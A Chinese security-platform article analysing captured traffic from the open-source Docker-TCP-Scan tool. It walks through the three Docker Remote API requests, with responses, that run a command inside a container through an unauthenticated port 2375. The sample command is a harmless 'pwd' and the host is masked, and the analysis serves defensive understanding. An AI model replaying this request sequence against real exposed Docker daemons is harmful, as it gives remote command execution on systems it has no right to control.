长亭百川云 - 文章详情

Docker-TCP-Scan 云安全武器流量分析

神风静默

31

2024-08-20

Docker-TCP-Scan 云安全武器流量分析

随着企业上云逐渐形成了趋势和规模,云安全也成为了新的焦点和『风口』,云上安全越来越重要;在近几年的攻防中『AKSK』、『小程序』、『云上供应链』都已经成为了兵家必争之地和重要突破口


了解过 Docker Remote API 的师傅应该都知道2375端口,2375是Docker远程操控的默认端口,通过这个端口可以直接对远程的docker daemon进行操作;


当主机以 DOCKER_OPTS="-H tcp://0.0.0.0:2375" 这样的配置方式启动Docker时,可以在外部机器对 Docker Remote API 进行直接操作: docker -H tcp://$HOST:2375 ps


但Docker本身没有身份认证的功能,只要能访问到API服务端口,就可以操作Docker!


这就造成了非常严重的漏洞!能够直接通过 Docker Remote API 对相关运行的容器下发恶意命令!网络上对于 Docker Remote API 利用和详细分析的文章几乎没有,本文就曾哥开源的针对 Docker TCP socket 的利用工具  Docker-TCP-Scan  进行详细的攻击流量分析。通过使用  yakit  抓包工具,我们能够获取并解读全程攻击流量,揭示攻击的具体步骤。



同时感谢国际云安全联盟(CSA)渗透测试工作组对本开源工具提出的建议

GitHub地址

AabyssZG/Docker-TCP-Scan: 旨在以攻促防,针对Docker TCP socket的开源利用工具 

https://github.com/AabyssZG/Docker-TCP-Scan

使用yakit抓包分析流量获取全攻击流程

攻击流程分析

步骤一:获取 Docker 信息

攻击者通过发送 GET 请求来获取 Docker 容器的详细信息。这一操作利用了 Docker Daemon 的 TCP 端口 (2375),该端口默认情况下不要求认证,极易被攻击者利用进行信息泄露。

请求内容

1GET /containers/json HTTP/1.1
2Host: XXXXXXX:2375
3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36, Mozilla/5.0 (X11; NetBSD) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36
4Accept-Encoding: gzip, deflate, br
5Accept: */*

响应内容

1HTTP/1.1 200 OK
2Api-Version: 1.12
3Docker-Experimental: false
4Ostype: linux
5Server: Docker/1.12 (linux)
6Date: Mon, 19 Aug 2024 08:21:25 GMT
7Connection: close
8Content-Type: application/json
9Content-Length: 1170
10
11[
12  {
13    "Id": "8dfafdbc3a40",
14    "Image": "ubuntu:latest",
15    "ImageID": "d74508fb6632491cea586a1fd7d748dfc5274cd6fdfedee309ecdcbc2bf5cb82",
16    "Command": "/bin/hello",
17    "Created": 1720106340,
18    "Ports": [{ "PrivatePort": 2222, "PublicPort": 3333, "Type": "tcp" }],
19    "SizeRw": 12288,
20    "Labels": {
21      "com.example.vendor": "Acme",
22      "com.example.license": "GPL",
23      "com.example.version": "1.0"
24    },
25    "State": "exited",
26    "Status": "Exit 0",
27    "NetworkSettings": {
28      "Networks": {
29        "bridge": {
30          "NetworkID": "7ea29fc1412292a2d7bba362f9253545fecdfa8ce9a6e37dd10ba8bee7129812",
31          "EndpointID": "2cdc4edb1ded3631c81f57966563e5c8525b81121bb3706a9a9a3ae102711f3f",
32          "Gateway": "172.17.0.1",
33          "IPAddress": "172.17.0.2",
34          "IPPrefixLen": 16,
35          "IPv6Gateway": "",
36          "GlobalIPv6Address": "",
37          "MacAddress": "02:42:ac:11:00:02"
38        }
39      }
40    },
41    "Mounts": [
42      {
43        "Name": "fac362...80535",
44        "Source": "/data",
45        "Destination": "/data",
46        "Driver": "local",
47        "Mode": "ro,Z",
48        "Propagation": ""
49      }
50    ]
51  }
52]

解析 :
通过这一步骤,攻击者可以获取 Docker 容器的详细信息,包括容器 ID、镜像名称、网络配置等。这些信息将为下一步的恶意操作提供目标。

步骤二:创建执行ID

攻击者接下来会发送 POST 请求,通过 Docker API 创建一个新的执行环境(Exec Instance),并在 Cmd 参数中注入恶意命令(payload)。

请求内容

1POST /containers/8dfafdbc3a40/exec HTTP/1.1
2Host: XXXXXXX:2375
3Content-Type: application/json
4User-Agent: python-requests/2.28.2
5Accept-Encoding: gzip, deflate, br
6Accept: */*
7Content-Length: 63
8
9{ "Cmd": ["pwd"], "AttachStdout": true, "AttachStderr": true }

响应内容

1HTTP/1.1 201 Created
2Api-Version: 1.12
3Docker-Experimental: false
4Ostype: linux
5Server: Docker/1.12 (linux)
6Date: Mon, 19 Aug 2024 08:21:38 GMT
7Connection: close
8Content-Type: application/json
9Content-Length: 25
10
11{ "Id": "b90e34656806" }

解析 :
这一阶段,攻击者利用 Docker 提供的 API 功能,创建了一个可以执行特定命令的环境,并获取到了执行 ID。这个 ID 将在后续步骤中用于实际的命令执行。

步骤三:执行命令

最后,攻击者利用之前获取的执行 ID,发送 POST 请求执行注入的命令。

请求内容

1POST /exec/b90e34656806/start HTTP/1.1
2Host: XXXXXXX:2375
3Accept: */*
4Content-Type: application/json
5User-Agent: python-requests/2.28.2
6Accept-Encoding: gzip, deflate, br
7Content-Length: 34
8
9{ "Detach": false, "Tty": false }

响应内容

1HTTP/1.1 200 OK
2Api-Version: 1.12
3Docker-Experimental: false
4Ostype: linux
5Server: Docker/1.12 (linux)
6Date: Mon, 19 Aug 2024 08:21:40 GMT
7Connection: close
8Content-Type: application/octet-stream
9Content-Length: 19
10
11/home/root

解析 :
通过执行命令,攻击者成功获取了 Docker 容器内部的文件系统信息,验证了其对目标容器的控制权。

攻击流程概述

  1. 信息收集 : 通过 GET /containers/json 请求,攻击者首先获取 Docker 容器的详细信息,为后续攻击做好准备。

  2. 创建执行环境 : 使用 POST /containers/{container_id}/exec 请求,攻击者创建了一个可以执行命令的环境,并获取了执行 ID。

  3. 执行命令 : 通过 POST /exec/{exec_id}/start 请求,攻击者在目标容器内执行了恶意命令,进一步掌控了容器。

此类攻击利用了 Docker Daemon 开放的 TCP 端口,该端口默认情况下不要求认证,极容易被攻击者利用。

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2